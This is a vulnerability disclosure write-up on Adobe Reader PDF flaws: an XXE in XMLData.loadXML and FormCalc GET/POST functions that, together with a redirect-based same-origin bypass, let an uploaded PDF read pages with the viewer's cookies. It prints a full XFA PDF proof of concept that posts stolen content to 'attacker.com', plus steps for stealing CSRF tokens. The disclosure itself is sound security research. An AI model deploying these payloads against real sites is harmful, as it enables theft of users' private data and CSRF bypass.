PDF Upload - XXE and CORS bypass
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Content copied from https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html
Status: Fixed
Reality: Not Fixed
This one is about a simple XXE I discovered.
I read the paper "Polyglots: Crossing Origins by Crossing Formats", where they discussed a vulnerability in
XMLData.parse. It was possible to use external entities and reference them.
I read the specification and it turns out there are more functions than "parse" to read XML.
I created a simple xml file, which references an url from the same domain and parsed it with loadXML.
It worked:
7 0 obj
<<
/Type /Action
/S /JavaScript
/JS (
var cXMLDoc = '<?xml version="1.0" encoding="ISO-8859-1"?><foo>muh</foo>'
var cXMLDoc2 = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ENTITY aaaa SYSTEM "http://example.com">]><ab>&aaaa;</ab>'
xml = XMLData.parse(cXMLDoc,false);
xml.loadXML(cXMLDoc2,false,true);
)
>>
endobj
The Impact is limited because
o) it is limited to same origin
o) HTML Pages break the xml
o) Dynamic Entities are not supported
o) I had the idea to use a utf-16 xml to avoid breaking the xml structure, but I it didn't work.
But it still can be used to read JSON.
Status: fixed
Reality: fixed but same origin still vulnerable!
In my opinion this is the most powerful vulnerability. Even without the Origin Bypass it shows you
how powerful/terrifying PDF can be.
Many people know that PDF supports a scripting language called Javascript but there is another one.
It is mentioned in the specification for XFA, a file type also supported by the adobe reader.
It is called formcalc and it not that powerful. It is used for simple math calculation. But in the adobe specification
there are three additional functions: 'GET','POST' and 'PUT'. Yes, their names speak for themselves.
'GET' has one parameter: an url. It will use the browser (YEAH COOKIES) to retrieve the url and return the content of it.
We can then use 'POST' to send the return content to our own server:
var content = GET("myfriends.php");
Post("http://attacker.com",content);
These functions are same origin, so a website needs to allow us to upload a PDF. Thats not that unrealistic for
most websites. Attacker.com is not same origin, so you need to setup a crossdomain.xml, as usual with Adobe products.
To sum up: This is not a bug, this is a feature. As soon as you are allowed to upload a PDF on a website,
you can access the website in the context of the user, who is viewing the PDF. Because the requests are issued
by the browser, cookies are sent too. You can also use it to break any CSRF Protection by reading the tokens.
% a PDF file using an XFA
% most whitespace can be removed (truncated to 570 bytes or so...)
% Ange Albertini BSD Licence 2012
% modified by insertscript
%PDF-1. % can be truncated to %PDF-\0
1 0 obj <<>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf>
<interactive>1</interactive>
</pdf></present></config>
<template>
<subform name="_">
<pageSet/>
<field id="Hello World!">
<event activity="initialize">
<script contentType='application/x-formcalc'>
var content = GET("myfriends.php");
Post("http://attacker.com",content);
</script>
</event>
</field>
</subform>
</template>
</xdp:xdp>
endstream
endobj
trailer <<
/Root <<
/AcroForm <<
/Fields [<<
/T (0)
/Kids [<<
/Subtype /Widget
/Rect []
/T ()
/FT /Btn
>>]
>>]
/XFA 1 0 R
>>
/Pages <<>>
>>
>>
After I found these functions, I found a same origin policy bypass. This makes it possible to use a victim browser
as a proxy (@beef still working on the module^^)
The bypass is really simple:
1. User A loads evil.pdf from http://attacker.com/evil.pdf
2. Evil.pdf uses formcalc GET to read http://attacker.com/redirect.php
3. redirect.php redirects with 301 to http://facebook.com
4. Adobe reader will follow and read the response without looking for a crossdomain.xml.
5. evil.pdf sends the content retrieved via POST to http://attacker.com/log.php
Note that using this technique you can steal the CRSF tokens of a page and abuse CSRF vulns.
This simple bypass is fixed now. I hope they going to implement a dialog warning for same origin requests too.
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